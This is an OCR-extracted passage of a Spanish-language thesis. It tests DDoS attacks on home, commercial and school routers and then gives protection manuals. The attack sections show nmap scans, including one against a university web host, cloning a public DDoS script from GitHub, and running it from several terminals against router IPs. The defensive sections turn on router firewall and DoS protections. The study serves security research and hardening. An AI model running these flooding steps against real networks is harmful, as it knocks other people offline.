Fuente: Grupo Investigativo
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Ingresamos la IP y el puerto abierto para generar el ataque.

root@kali: ~/DDOS © ©® ©
File Edit View Search Terminal Tabs Help

root@kali: ~/DDOS x root@kali: ~/DDOS x j| "

Distributed Denial of Service - Termux Tools

Author : PembriAhmad
Github : https://github.com/pembriahmad
Source : https://github.com/pembriahmad/DDOS

Press CTRL+C to stop sending

Figura 62. Consola de ataques DDoS.

Fuente: Grupo Investigativo

Se genera el ataque minimo en 5 terminales para que los paquetes aumenten y pueda saturarse
la red.

root@kali: ~/DDOS e ® O
File Edit View Search Terminal Tabs Help

root@kali x root@kali x root@kali: ... X root@kali: x root@kali x Mm -~

Figura 63. Ejecucion del ataque DDoS a la red domestica 1.

Fuente: Grupo Investigativo
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Pruebas del ataque en el ambiente domeéstico.

Figura 64. Pruebas de ataque red doméstica 1.

Fuente: Grupo Investigativo
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Applications ~ Places — 3 Terminat —

Figura 65. Pruebas de ataque red doméstica 1.

Fuente: Grupo Investigativo

v" Formas de Proteccion

1. Comunicacion con el proveedor.

2. Muchas veces al no conocer que nuestro dispositivo esta recibiendo un ataque DDoS y
no recibir internet tendemos a apagar y prender nuestro dispositivo, lo cual en ciertos
casos esta correcto porque pararemos con el ataque pero muchas veces estos ataques se
vuelven mas frecuentes, una de las maneras mas simples para prevenir este tipo de
ataques es comunicarse con nuestro proveedor ya que nos ayudara con ciertos pasos
preventivos y la verificacion de si nuestro dispositivo esta siendo atacado y como
pararlos, esto ademéas ayuda a controlar y mejorar ciertos dispositivos que estan
vulnerables a este tipo de ataques DDoS.

Cambio de contrasefias del dispositivo vulnerado.

4. Una de las defensas mas basicas para protegerse de los ataques DDoS y otros es el
cambio continuo de contrasefias como recomendacion se lo deberia realizar cada
trimestre es decir cada tres meses, ademas las mismas deben ser robustas las cuales

deben incluir letras en minusculas, mayusculas, nimeros, simbolos y signos.
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5. Verificar los firewalls de nuestro equipo.

6. Muchas veces nuestros equipos contienen firewalls que permiten evitar este tipo de

ataques DDoS, asi que debemos ingresar a las configuraciones de nuestro modem para
verificar.

Ingresamos al apartado de firewalls ya que muchas veces las empresas proveedoras de
estos servicios activan sus configuraciones basicas dejando vulnerables a nuestros
equipos, como podemos ver se encuentra deshabilitado algunas opciones que protege y

previene los ataques DDoS.

5.1.2.2.Evaluacion de ataques DDoS a sistema de red Domeéstico 2.
v/ MODELO RED DOMESTICA 2

A

Ataque DDoS en un modem ADSL-Huawei HG531 desde un hogar doméstico con la
herramienta python2.

Para generar los ataques debemos saber la IP del modem, al ser un modem de una empresa
conocida como es Cnt y comunmente utilizan la IP 192.168.1.1, nos dirigimos al
navegador para entrar como administrador o también al utilizar el escucha Kkali

obtendremos la IP.

C A Noseguro | 192.168.1.1 & o= &« 0O
® .
Cnz 00Mbps Wireless ADSL2+ Route

-

.E‘ Please enter your username and password

m Login & Ccancel

Figura 66. Interfaz principal del router ADLS- Huawei HG531.

Fuente: Grupo Investigativo
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En el caso de que no sea la IP que es comun en este modem, abrimos el cmd como administrador
para verificar su IP y asi poder realizar el ataque, como podemos ver en nuestra red doméstica

nuestra red es la anteriormente mencionada IP 192.168.1.1.

BE Administrador: Simbolo del sistema —

Adaptador de LAN inalambrica Conexidn de area local* 1:

Estado de los medi . . : medios desconectados
Sufijo DNS esp g

ndaptador

Figura 67. IP de la red doméstica 2.
Fuente: Grupo Investigativo

Ingresamos a las configuraciones para verificar la IP a través de las credenciales que utilizan

los equipos de este tipo de empresas.

< C A Noseguro | 192.168.1.1/ntmi/content1.asp - 2 & O@
Cnz 300Mbps Wireless ADSL2+ Router ) Hep > Logou
Basic  LAN - DHCP
oHer DHEPVG Server sLaac
#i status
- TAN Host Setings. re
&t Basic \F addrass: 192168 1.1 B
Link Interface Subnet mask: 2565 2565 266 192 ]»
WAN Submit
LAN
WLAN DHGP Server e
st T ravie
& Advanced [192 168 12 |
. [192 168 1 )
‘4 Maintenance ~]
Frimary NS ser o [19216811 )
Sacondary DNS sarver addrass: | )
Submit |
oo 0 e mees re
naex WAG saaress (AABBICC DO EETT) T adress X XX X0
supm |

Figura 68. Verificacion de IP correcta.

Fuente: Grupo Investigativo
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Vemos que puertos estan abiertos a través de la herramienta nmap, esta la podemos descargar
y utilizar por Windows o también por nuestra herramienta de kali Linux, en este ataque de red

doméstica 2 lo realizaremos con Kali, utilizando el comando nmap 192.168.1.1.

:~# nmap 192.168.1.1
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-04 03:35 -85
Nmap scan report for 192.168.1.1
Host is up (0.812s latency).
Not shown: 997 filtered ports
PORT  STATE SERVICE

ssh
domain
http

Nmap done: 1 IP address (1 host up) scanned in 11.75 seconds

Figura 69. Verificacion de puertos abiertos con Nmap.
Fuente: Grupo Investigativo
Puertos Abiertos: 22,80,53.

Abrimos otra terminal en Kali linux para realizar el siguiente ataque DDoS al modem de
Huawei, esto lo generamos con la herramienta Python2, ingresamos a la Carpeta DDoS e
introduciremos el siguiente comando python2 ddos.py

’q )= El "1 root.. C1 root... CJ root... []

root@erick: ~/DDOS

Archivo Acciones Editar Vista Ayuda

root@erick: ~/DDOS

:~# cd DDOS
# python2 ddos.pyll

Figura 70. Ingreso a la carpeta de ataques DDoS.

Fuente: Grupo Investigativo
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Una vez ingresados a la herramienta de ataques DDoS, ingresamos la IP de nuestro equipo

ADSL-Huawei HG531 y el puerto escaneado en este caso utilizaremos el puerto 80 que es la
navegacion a la web.

N  NEC ]| El 1 root.. ) root.. [ root.. ] root.. 03:47AM O
root@erick: ~/DDOS
Archivo Acciones Editar Vista Ayuda

root@erick: ~/[DDOS %

Distributed Denial of Service - Termux Tools

Author : PembriAhmad
Github  : https://github.com/pembriahmad
Source : https://github.com/pembriahmad/DDOS

Press CTRL+C to stop sending

Figura 71. Consola de ataques DDoS.
Fuente: Grupo Investigativo

Se genera el ataque minimo entre 5 0 15 terminales para que los paquetes aumentan y pueda
saturarse la red.

Figura 72. Ejecucion del ataque DDoS a la red doméstica 2

Fuente: Grupo Investigativo
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Hacemos un ping con el comando ping 8.8.8.8 -t para ver si la red se esta cayendo y ver si es

vulnerable.

Como se puede observar se esta cayendo el internet porque el Router ASDL Huawei HG531

tiene sus puertos abiertos y se puede atacar.

o

2 bytes de datos:
tiempo=91ms TTL=115
) para esta solicitud.

o
o

-
TTL=115
TTL=115
TTL=115

00
+ o 0o

o v
[=S--]

Tiempo de
puesta
Tiempo de

[s]

byt tiempe ms TTL=11
para esta solicitud.

32 tiempo=88ms TTL=115

tiem s TTL=115

TTL=115

TTL=115

comm comm GO
=B
~ ca
o v
[=S--]

00
00 co
[==I--]

puesta
Respuesta
puesta
Tiempo de
puesta
Tiempo de
Respuesta
puesta
Tiempo de
puesta

o
o s s
+ o oo
wos s
[=S -l -]

32 tiempo=87ms TTL=115
a solicitud.
32 tiempo=89ms TTL=115
) tiempo=87ms TTL=115
para esta solicitud.
TTL=115
TTL=115

0Oy 00 COOQ COOW ©O
- T -
~+ 000 00 00 A+ 0O
S -

Tiempo de
Respuesta

co M co
g

tiempo=88ms TTL=115
.8.8. 2 tiempo=97ms TTL=115
puesta .8.8.8: tiempo=94ms TTL=115
Tiempo de A
Tiempo d
Tiempo de er para esta solicitud.

co
o]

Figura 73. Resultado del ataque DDoS Red Doméstica 2

Fuente: Grupo Investigativo
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Figura 74. Pruebas del ataque red doméstica 2.
Fuente: Grupo Investigativo

Como se puede observar el internet se empieza a saturar demorando el ingreso a varias paginas

web.

Figura 75. Pruebas del ataque red doméstica 2.

Fuente: Grupo Investigativo
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v" Formas de Proteccion

1.- Comunicacion con el proveedor.

Muchas veces al no conocer que nuestro dispositivo esta recibiendo un ataque DDoS y no
recibir internet tendemos a apagar y prender nuestro dispositivo, lo cual en ciertos casos esta
correcto porque pararemos con el ataque pero muchas veces estos ataques se vuelven mas
frecuentes, una de las maneras mas simples para prevenir este tipo de ataques es comunicarse
con nuestro proveedor ya que nos ayudara con ciertos pasos preventivos y la verificacion de si
nuestro dispositivo estd siendo atacado y como pararlos, esto ademas ayuda a controlar y
mejorar ciertos dispositivos que estan vulnerables a este tipo de ataques DDoS.

2.- Cambio de contrasefias del dispositivo vulnerado.

Una de las defensas mas basicas para protegerse de los ataques DDoS y otros es el cambio
continuo de contrasefias como recomendacion se lo deberia realizar cada trimestre es decir cada
tres meses, ademas las mismas deben ser robustas las cuales deben incluir letras en minusculas,
mayusculas, nimeros, simbolos y signos.

3.- Verificar los firewalls de nuestro equipo.

Muchas veces nuestros equipos contienen firewalls que permiten evitar este tipo de ataques
DDoS, asi que debemos ingresar a las configuraciones de nuestro modem para verificar.
Ingresamos al apartado de firewalls ya que muchas veces las empresas proveedoras de estos

servicios activan sus configuraciones basicas dejando vulnerables a nuestros equipos, como
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podemos ver se encuentra deshabilitado algunas opciones que protege y previene los ataques
DDoS.

¢ C A Noseguro | 192.168.1.1/html/contentl.asp = @ % O@

@
Cnt 300Mbps Wireless ADSL2+ Router @ Help Db Logout

‘Advanced > Firewall > Firewall Level
Firewall Level DoS Attack
v status
4]

Firewall Level Help

Current firewall level: Off

{\a TR Firewall level

@) vwrontevei o s set. ail packets are allowed
Routing

Firewall
Filter

ACL

NAT

DDNS

IGMP

Qos

USB Port
SNTP

CWMP

UPNP

PIN

Bridge Binding

&
()a Maintenance

{37\ Basic

Habilitaremos la opcién del nivel de firewall a alto, y daremos clic en submit para guardar

cambios

Figura 76. Activacion de firewall de proteccion.

Fuente: Grupo Investigativo

#% logi A Hua | & Com [[@ MAT [BDTESI | G rout | G oque [ @ Nue #% X @ Con |z DU (@@ Des |G que (@ sk (Bl Poer | D (00 | G que | + v = X

<« C A Noseguro | 192.168.1.1/html/contentd .asp e v O@ :

)
Cnz 300Mbps Wireless ADSL2+ Router @ Help U’ Logout

Advanced = Firewall > Firewall Level
Firewall Level Do Attack
#V status
7

Firewall Level Heip

Current firewall level. Off

.

i,“; Basic

{ﬁ e Firewall level

l

- o When level "High" is set, only the FTRIDNS/HTTP packets are allowed.
Routing

Firewall
Filter

ACL

NAT

DDNS

IGMP

Qos

USB Port
SNTP

CWMP

UPNP

PIN

Bridge Binding

@
(ﬁ Maintenance

»
Copyright © Huawei Technologies Co., Ltd. 2013-2017. All rights reserved. Privacy Declare

Figura 77. Activacion de firewall de proteccion nivel alto.

Fuente: Grupo Investigativo
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Ingresamos al apartado de DoS attack y habilitaremos las opciones para prevenir ataques DDoS
y DoS.

<« C A Noseguro | 192.168.1.1/html/content1.asp -2 % O :

@
Cnz 300Mbps Wireless ADSL2+ Router /@ Help DD Logout

Advanced = Firewall » DoS Attack
Firewall Level DoS Attack

# status

]

DoS Attack Hep

CJ1CMP fiooding [ sYN fiooding

e;'_.’v Basic
o D) ARP attack
{?’EB Advanced
Routing
Firewall
Filter
ACL
NAT
DDNS
IGMP
Qos
USB Port
SNTP
CwmpP
uPnP
PIN
Bridge Binding

@&
cﬁ Maintenance

Figura 78. Activacion de la opcidn de prevenir ataques DDoS.
Fuente: Grupo Investigativo

Daremos clic en submit para guardar los cambios.

C}zf’ 300Mbps Wireless ADSL2+ Router @ Help U} Logout
Advanced = Firewall = DoS Attack h
Firewall Level DoS Attack
!-)"J Status
oo

ICMP flooding SYN flooding

{e’v Basic
P [ ARP attack
{?)5 Advanced
Routing
Firewall
Filter
ACL
NAT
DDNS
IGMP
QoS
USB Port
SNTP
CWMP
UPnP
PIN
Bridge Binding

Figura 79. Activacion de las opciones proteccién DDoS.
Fuente: Grupo Investigativo

Al realizar estos cambios y al realizar el ataque, nuestro navegador ya no sufre una demora al

cargar las paginas.
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- X
a ¢ :Qué son los ataques DDoS y cc. X 4 ¥ 2

& C @ latamkaspersky.com/resource-center/threats/ddos-attacks & Y [ 3 5
B mmC=s| O .. 10.. ) ro.. 0 ro.. 04:07AM O
root@eric~/DDOS kaspersky

Archivo Acciones Editar Vista Ayuda

root@erick: ~/DDOS &Qué son los ataques DDoS?

< >

B OE@g 18 EE@ @ cr oReca

Figura 80. Resultados proteccion ante ataques DDoS red doméstica 2.

Fuente: Grupo Investigativo
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5.1.2.3.Evaluacion de ataques DDoS a sistema de red Comercial.

v" MODELO COMERCIAL
A continuacion, se muestra como se generaron los ataques DDosS en el Ciber Flomit con el
Router Nebula 300 Plus.
A continuacion, se visualizara como se generaron los ataques.

Applications ¥ Places ~ Terminal ~ Fri10:58 u]
root@Kkali: ~ @ ® O

File Edit View Search Terminal Help
:~# sudo su root
:~# apt install nmap

Reading package lists... Done

Building dependency tree

Reading state information... Done

nmap is already the newest version (7.70+dfsgl-6kalil).

nmap set to manually installed.

© upgraded, © newly installed, © to remove and 25 not upgraded.
~#

Figura 81. Instalacion de Nmap.

Fuente: Grupo Investigativo
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Places ~ Terminal ~

root@kali: ~ e ® O
File Edit View Search Terminal Help

nmap set to manually installed.
© upgraded, © newly installed, © to remove and 25 not upgraded.
:~# nmap -vv www.utc.edu.ec
Starting Nmap 7.70 ( https://nmap.org ) at 2022-02-18 11:01 EST
Initiating Ping Scan at 11:01
Scanning www.utc.edu.ec (181.112.224.98) [4 ports]
Completed Ping Scan at 11:01, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:01
Completed Parallel DNS resolution of 1 host. at 11:01, ©0.09s elapsed
Initiating SYN Stealth Scan at 11:01
Scanning www.utc.edu.ec (181.112.224.98) [1000 ports]
Discovered open port 80/tcp on 181.112.224.98
Discovered open port 135/tcp on 181.112.224.98
Discovered open port 21/tcp on 181.112.224.98
Discovered open port 445/tcp on 181.112.224.98
Discovered open port 139/tcp on 181.112.224.98
Discovered open port 3389/tcp on 181.112.224.98
Discovered open port 443/tcp on 181.112.224.98
Discovered open port 2000/tcp on 181.112.224.98
Discovered open port 1801/tcp on 181.112.224.98
Discovered open port 5060/tcp on 181.112.224.98
Discovered open port 49158/tcp on 181.112.224.98
Discovered open port 2103/tcp on 181.112.224.98
Discovered open port 42/tcp on 181.112.224.98
Discovered open port 8010/tcp on 181.112.224.98
Discovered open port 26/tcp on 181.112.224.98
Discovered open port 8008/tcp on 181.112.224.98
Discovered open port 49157/tcp on 181.112.224.98
neea o 10 o

Lo A PN 15 oS54 _ao

[ P o MDY

Figura 82. Escaneando el hostname

Fuente: Grupo Investigativo

Applications ~ Places ~ Terminal ~

File

root@kali: ~ e ® ©

Edit View Search Terminal Help
open msrpc syn-ack ttl
open netbios-ssn syn-ack ttl
open https syn-ack ttl
open microsoft-ds syn-ack ttl
open msmq syn-ack ttl
open cisco-sccp syn-ack ttl
open zephyr-clt syn-ack ttl
open eklogin syn-ack ttl
open msmqg-mgmt syn-ack ttl
open ms-wbt-server syn-ack ttl
open sip syn-ack ttl
open http syn-ack ttl
open XxXmpp syn-ack ttl
open unknown syn-ack ttl
open unknown syn-ack ttl
open unknown syn-ack ttl

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.34 seconds

Raw packets sent: 1985 (87.312KB) | Rcvd: 24 (1.040KB)
:~# apt install python2

Reading package lists... Done

Building dependency tree

Reading state information... Done

python2 is already the newest version (2.7.16-1).

python2 set to manually installed.

0 upgraded, © newly installed, © to remove and 25 not upgraded.
~#

Figura 83. Instalacion Python 2.

Fuente: Grupo Investigativo
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Colocaremos el Git Clone

Applications ~ Places ~ rminal ~

File Edit View Search Terminal Help
open eklogin syn-ack ttl
open msmqg-mgmt syn-ack ttl
open ms-wbt-server syn-ack ttl
open sip syn-ack ttl
open http syn-ack ttl
open xmpp syn-ack ttl
open unknown syn-ack ttl
open unknown syn-ack ttl

49158/tcp open unknown syn-ack ttl

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.34 seconds
Raw packets sent: 1985 (87.312KB) | Rcvd: 24 (1.040KB)
:~# apt install python2
Reading package lists... Done
Building dependency tree
Reading state information... Done
python2 is already the newest version (2.7.16-1).
python2 set to manually installed.
0 upgraded, © newly installed, © to remove and 25 not upgraded.
:~# git clone https://github.com/pembriahmad/DDOS
into 'DDOS'...
Enumerating objects: 20, done.
Counting objects: 100% (20/20), done.
Compressing objects: 100% (18/18), done.
Total 20 (delta 2), reused 7 (delta ©), pack-reused ©
Unpacking objicts: 100% (20/20), done.
1~#

Figura 84. Comando Git Clone de instalacion de DDoS

Cambiaremos el directorio para el ataque DDoS

Applications ~ Places ~

File Edit View Search Terminal Help
2107/tcp open msmqg-mgmt syn-ack
open ms-wbt-server syn-ack ttl
open sip syn-ack ttl
open http syn-ack ttl
open xmpp syn-ack ttl
49155/tcp open unknown syn-ack ttl
49157 /tcp open unknown syn-ack ttl
49158/tcp open unknown syn-ack ttl

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 5.34 seconds
Raw packets sent: 1985 (87.312KB) | Rcvd: 24 (1.040KB)

:~# apt install python2

Reading package lists... Done

Building dependency tree

Reading state information... Done

python2 is already the newest version (2.7.16-1).

python2 set to manually installed.

© upgraded, © newly installed, © to remove and 25 not upgraded.
:~# git clone https://github.com/pembriahmad/DDOS

Cloning into 'DDOS'...

remote Enumerating objects: 20, done.

remote: Counting objects: 100% (20/20), done.

remote: Compressing objects: 100% (18/18), done.

remote: Total 20 (delta 2), reused 7 (delta ©), pack-reused ©

Unpacking objects: 100% (20/20), done.
:~# cd DDOS
:~sppos# i

Figura 85. Cambio de directorio para el ataque DDoS.

Fuente: Grupo Investigativo
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VVemos que puertos abiertos tiene la IP del Ciber con el programa nmap

= Zenmap - O *

Escaneo Herramientas Perfil Ayuda (H)

Objetivo: | 192.168.3.189 z| Perfil: E| Escaneo| | Cancelar

Comando: nmap -T4 -A -v 192.168.3.189

Servicios Salida Nmap Puertos / Servidores Topologia Detalles del servidor  Escaneos

0S * Servidor nmap -T4 -A -v 192.168.3.189 z| . Detalles
- 192.168.56.1 Completed Parallel DNS resolution of 1 host. at 11:42, @.01s A
elapsed

' LAPTOP-BVNSNME  Initiating SYN Stealth Scan at 11:42
10.198.32.1 S;anning LAPTOP-BVNSNMGD (192.168.3.189) [100@ ports]

Discovered open port 135/tcp on 192.168.3.189
Discovered open port 139/tcp on 192.168.3.189
Discovered open port 88/tcp on 192.168.3.189
Discovered open port 445/tcp on 192.168.3.189
Discovered open port 33@6/tcp on 192.168.3.189
Discovered open port 443/tcp on 192.168.3.189
Discovered open port 7878/tcp on 192.168.3.189
Discovered open port 5357/tcp on 192.168.3.189
Discovered open port 5432/tcp on 192.168.3.189
Completed SYN Stealth Scan at 11:42, ©.09s elapsed (1800 total
ports)
Initiating Service scan at 11:42
Scanning 9 services on LAPTOP-BVNSNMGED (192.168.3.189)
Completed Service scan at 11:43, 12.83s elapsed (9 services on
1 host)
Initiating OS detection (try #1) against LAPTOP-BVNSNMED
(192.168.3.189)
NSE: Script scanning 192.168.3.189,
Initiating NSE at 11:43
Completed NSE at 11:43, 24.4B8s elapsed
Initiating NSE at 11:43
Completed NSE at 11:43, 1.24s elapsed
Initiating NSE at 11:43
Completed NSE at 11:43, ©.88s elapsed
Nmap scan report for LAPTOP-BVNSNMGD (192.168.3.189)
Host is up (©.88829s latency).
Not _shown: 991 closed tcp ports (reset)

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Win64)
> OpenSSL/1.1.11 PHP/7.3.33)
| http-title: Welcome to XAMPP v

Filtrar servidores

Figura 86. Verificacion de puertos abiertos con Nmap

Fuente: Grupo Investigativo
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Pondremos el comando Python2 ddos.py para ingresar al programa gque nos permitira hacer el
ataque.

Enviaremos los paquetes.

Applications v Places v Terminal v Fri1l:27

root@Kkali: ~/DDOS e &® O
File Edit View Search Terminal Help

Distributed Denial of Service - Termux Tools

Author : PembriAhmad
Github : https://github.com/pembriahmad
Source : https://github.com/pembriahmad/DDOS

Press CTRL+C to stop sending

Figura 87. Consola de ataques DDoS.

Fuente: Grupo Investigativo
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Applications ~ Places ~ CEJ Terminal ~ a -
root@kali: ~/DDOS o ® o

File Edit View Search Terminal Help

Figura 88. Ejecucion del ataque DDoS a la red comercial.

Fuente: Grupo Investigativo

Hacemos un ping con el comando ping 8.8.8.8 -t para ver si la red se esta cayendo y ver si es

vulnerable.

Cdomo se puede observar se esta cayendo el internet porque el Router Nebula 300 Plus es el

maés vulnerable a todos los Routers por su precio que es mas econdémico y su calidad es baja.

espuesta
iempo de
s TTL=115
TTL=115
Tiempo
Respuesta desd .8.8.8: by 2 ti s TTL=115

[

W

TTL=115

Tiempo de
Tiempo de
Tiempo de 0 licitud.
Tiempo de ra agotado 5 olicitud.

Figura 89. Resultado del ataque DDoS Red Comercial.

Fuente: Grupo Investigativo
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5.1.2.4.Evaluacion de ataques DDoS a sistema de red Educativa.

v" MODELO EDUCATIVO
A continuacion, se muestra como se generaron los ataques DDoS en la Unidad Educativa
Machachi con el Router Cisco Linksys E900.
Para poder realizar los ataques DDoS abrimos la herramienta nmap para saber cuales son

los puertos abiertos del Router para poder realizar el ataque.

* Zenmap - 8 x
Escaneo Hemsmientas el Ayuds ()
Objetivos | 1721641142 <] Perfit intense scan Excaneo
Comando:  nmap -T4 -A -y 172.1641.182
[Servidores | Sewicios | Saida Nmap Puertos / Servidores Topologia Detalles del senvidor Escaneos
Detalles

05 4 Servidor s nmap-T4-AwIR
P 1721641142

31 2 et ap.org ) at 2022-04-18 15:36 Hora est. Pacifico, Sudamérica
oaded 155 scripts for scanning.
3

©.00s elapsed

Completed NSE at 15 .00 elapsed

Initisting NSE at 15

Completed NSE at 15:36, ©.60s elapsed

Initiating ARP Ping Scan at 15:36

Scanning 172.16.41.142 (1 port]

Cospleted ARP Ping Scan at 15:36, 0.21s elapsed (1 totsl hosts)
of 1 host. at 15:36

st 15:36, 7.09s elapsed (3 services on 1 host)
172.16.41.142

(try #1) sgainst 172

at 15:36
Cospleted NSE at 15:36, 5.
Initisting NSE at 15:36

Cospleted NSE at 15:3

elapsed

9.635 elapsed

0.00s elapsed
2.16.41.142
stency).

11 996 closed tcp ports (reset)
STATE  SERVICE VERSION

sh-hostkey
24 af:25:¢7:24:27:dd:17:¢a
| 1040 51:0¢:99:5:25:8e:2¢:05:12

:59:50:04:90:4¢:5e (DSA)
ab:7a:32:ae:0d:d2 (RSA)

pen INK TO-H

] £,

| http-methods:
| Supported Methods
1300/tcp ope

Filtrar servidores MAC Address: 6@:32

® O Escribe aqui para buscar O H m @ = € @ & 3 B G v @ - ¥ 1BC A B @I 7 NG |s;:/::7zz L

£:66 (To-link Technoloeies) v

Figura 90. Verificacion de puertos abiertos con Nmap.

Fuente: Grupo Investigativo
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Ingresamos a Kali Linux que tenemos descargado en una maquina virtual, nos dirigimos al

terminal y a la carpeta DDOS para poder realizar los ataques en python2.

root@kali: ~/DDOS
File Edit View Search Terminal Tabs Help

root@k x root@k x root@k x root@k

DDOS# python2 ddos.py

Figura 91. Ingreso a la carpeta de ataques DDoS.
Fuente: Grupo Investigativo

Ingresamos la IP del router y puerto abierto para realizar los ataques DDoS.

root@kali: ~/DDOS © ® O
File Edit View Search Terminal Tabs Help

Distributed Denial of Service - Termux Tools

Author : PembriAhmad

Github : https://github.com/pembriahmad
Source : https://github.com/pembriahmad/DDOS

Press CTRL+C to stop sending

Figura 92. Consola de ataques DDoS.

Fuente: Grupo Investigativo
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Como se observa se estan mandando los paquetes a la red

root@kali: ~/DDOS

File Edit View Search Terminal Tabs Help

root@k x root@k x root@k x root@k

Figura 93. Ejecucion del ataque DDoS a la red educativa.
Fuente: Grupo Investigativo

Hacemos un ping con el comando ping 8.8.8.8 -t para ver si la red se esta cayendo y ver si es

vulnerable

Como se puede observar no se cayo el internet porque el Router Cisco Linksys E900 es mas
seguro que los otros Routers porque ningun puerto esta abierto, por lo tanto, no se puede

atacar.
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BN Simbolo del sistema - ping 8.8.88 -t - O >

desde 8.8.8.8: byt 2 tiempo=29ms TTL=115

desde
desde
desde
desde

s TTL=115

2 tiempo=27ms TTL=115

desde 8. es=32 tiempo=85ms TTL=115
desde 8. es=32 tiempo=19ms TTL=115
8 2 tiempo=27ms TTL=115

5=32 tiempo=32ms TTL=115

2 tiempo 3 =115
2 tiempo=29ms TTL=115
2 tiempo=25ms TTL=115
desde 8. es=32 tiempo=21ms TTL=115
desde 8. es=32 tiempo=27ms TTL=115
desde 8. es=32 tiempo=19ms TTL=115
desde es=32 tief s TTL=115
desde - 2 S
desde
desde 8.8. ytes=32 tiempo=24ms TTL=115

Figura 94. Resultado del ataque DDoS Red Educativa.
Fuente: Grupo Investigativo
v" Formas de Proteccion
1.-Actualizacion de firewall en el router.

Algo que no puede faltar para proteger correctamente cualquier equipo es mantenerlo
actualizado. Debemos asegurarnos de contar con la dltima version del firmware del router. Son
muchas las vulnerabilidades que pueden estar presentes. Muchos fallos que de una u otra forma

son aprovechados por los piratas informaticos para llevar a cabo ataques DDoS.
2.- Ayuda con el proveedor del servicio a internet.

En caso de no poder bloquear los ataques DDoS se recomienda Ilamar al proveedor de internet

y dar una solucion al problema.
3.- Usar una contrasefia fuerte para el Wi-Fi.

Se debe crear una contrasefia para el Wi-Fi que sea fuerte y evite la entrada de intrusos. Debe
contar con letras (mayuUsculas y minasculas), nimeros y otros simbolos especiales. Todo ello

debe estar de forma aleatoria y ademas la clave debe ser Unica y no estar utilizdndose en
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cualquier otro servicio o dispositivo para que el usuario X no pueda ingresar a la red y no pueda

atacar.

5.1.4. Fase 4 Pruebas, Documentacion y Resultados

5.1.4.1.Manual de Seguridad ante ataques DDoS en red Doméstica 1.

El presente manual tiene como objetivo proteger nuestra red doméstica 1 con un dispositivo

Tp-Link ante un ataque DDoS, el cual puede causar una deteccidon de nuestros servicios de

internet. Para realizar este manual se dividira en cuatro partes: el estado normal, ataque al

dispositivo, la proteccion y la restauracién y por Gltimo la revision.

v' Estado normal

En esta etapa se verifica que el dispositivo se encuentre seguro para que no exista ningdn

ataque DDoS.

1.
2.

Verificar si nuestros servicios de internet estan disponibles

Analizaremos el nivel de trafico de red que llega a nuestros dispositivos como
por ejemplo el ancho de banda en bits por segundo, paquetes por segundo o
peticiones por segundo.

Detectar si nuestros dispositivos no contienen archivos maliciosos o virus.
Posteriormente observaremos que nuestros dispositivos (computadoras) estén
actualizados o tengan activadas todas las seguridades por ejemplo la activacion

de un antivirus.

v' Ataque al dispositivo

En la etapa de violacion de Seguridad o ataque del dispositivo debemos tener en cuenta que

nos vemos inmiscuidos a un ataque DDoS por lo cual debemos tener en cuenta lo siguiente:

5.

Verificar que nuestro servicio de internet contiene problemas de conexion o a la
vez lentitud al cargar ciertas paginas.

Si descargamos un archivo malicioso nos vemos vulnerables por lo cual
debemos eliminarlo si estamos en medio de este ataque.

Ingresar a los comandos o cmd de Windows, o también a través de otras

herramientas para verificar y detectar que somos victimas de este ataque.

92



v Proteccion o restauracion
En la etapa 3 del manual de seguridad para el sistema de red Doméstico 2 tomaremos en
cuenta protecciones que permitird tanto deshabilitar el ataque recibido como para obtener

una proteccion y estar preparados a futuros ataques DDoS.

8. Deshabilitar el funcionamiento del dispositivo que se vea afectado en este caso
del dispositivo Tp-Link

9. Si el ataque persiste, debemos ingresar a la IP de nuestro dispositivo a través de
un navegador por ejemplo 192.168.1.1.

10. Ingresar Usuario y Contrasefia del dispositivo Tp-Link

11. Dar clic en firewall.

12. Actualizacion de Firewall.

13. Ingresar a paginas oficial de Tp-Link y se encontrara las versiones nuevas del
firewall.

14. Actualizamos, esto ayudara a que el Router esté mas seguro y tenga una barrera
contra ataques DDoS.

15. Si el ataque persiste, comunicarse con el Proveedor el cual establecera el

dispositivo o a la vez nos dara seguridad para detener el ataque.

v' Larevision
Esta etapa es la finalizacion del Manual de seguridad el cual permitira realizar una revision

de los dispositivos afectados por dicho ataque.

16. Verificar nuestro servicio de internet a través del envio de paquetes.

17. Revisar si nuestros dispositivos estan libres de archivos maliciosos para
eliminarlos.

18. Cambiar el nombre y contrasefia de nuestro dispositivo afectado.

19. Revisar que nuestro dispositivo se encuentre bien configurado.

20. Preparar y controlar nuestro sistema de red por futuros ataques DDoS.

5.1.4.2.Manual de seguridad ante ataques DDoS en red Doméstica 2.
El presente manual tiene como objetivo proteger nuestra red domestica 2 con un dispositivo

ADSL-Huawei HG531 ante un ataque DDoS, el cual puede causar una deteccion de nuestros
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servicios de internet. Para la realizacion de este manual la dividiremos en cuatro partes: el

estado normal, ataque al dispositivo, la proteccion y restauracion, y posteriormente la revision.
v Estado Normal.

En esta etapa verificaremos que nuestros dispositivos se encuentren seguros lo cual

permitird evitar un ataque DDoS.

1.
2.

Verificar si nuestros servicios de internet estan totalmente disponibles.

Analizaremos el nivel de trafico de red que llega a nuestros dispositivos como por
ejemplo el ancho de banda en bits por segundo, paquetes por segundo o peticiones por
segundos.

Detectar si nuestros dispositivos no contienen archivos maliciosos o virus.
Posteriormente observaremos que nuestros dispositivos (computadores) estén
actualizados o tengan activadas todas las seguridades por ejemplo la activacion de un

antivirus.

v Ataque al dispositivo.

En la etapa de violacion de Seguridad o ataque del dispositivo debemos tener en cuenta que nos

vemos inmiscuidos a un ataque DDoS por lo cual debemos tener en cuenta lo siguiente:

5.

Verificar que nuestro servicio de internet contiene problemas de conexién o a la vez
lentitud al cargar ciertas paginas.

Si descargamos un archivo malicioso nos vemos vulnerables por lo cual debemos
eliminarlo si estamos en medio de este ataque.

Ingresar a los comandos o cmd de Windows, o también a través de otras herramientas

para verificar y detectar que somos victimas de este ataque.

v" Proteccion o Restauracion

En la etapa 3 del manual de seguridad para el sistema de red Doméstico 2 tomaremos en

cuenta protecciones que permitira tanto deshabilitar el ataque recibido como para obtener

una proteccion y estar preparados a futuros ataques DDoS.

8.

Deshabilitar el funcionamiento del dispositivo que se vea afectado en este caso del
dispositivo HUAWEL.
